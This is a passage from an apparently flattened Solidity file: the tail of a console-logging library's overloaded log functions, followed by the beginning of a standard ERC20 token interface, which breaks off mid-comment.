_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
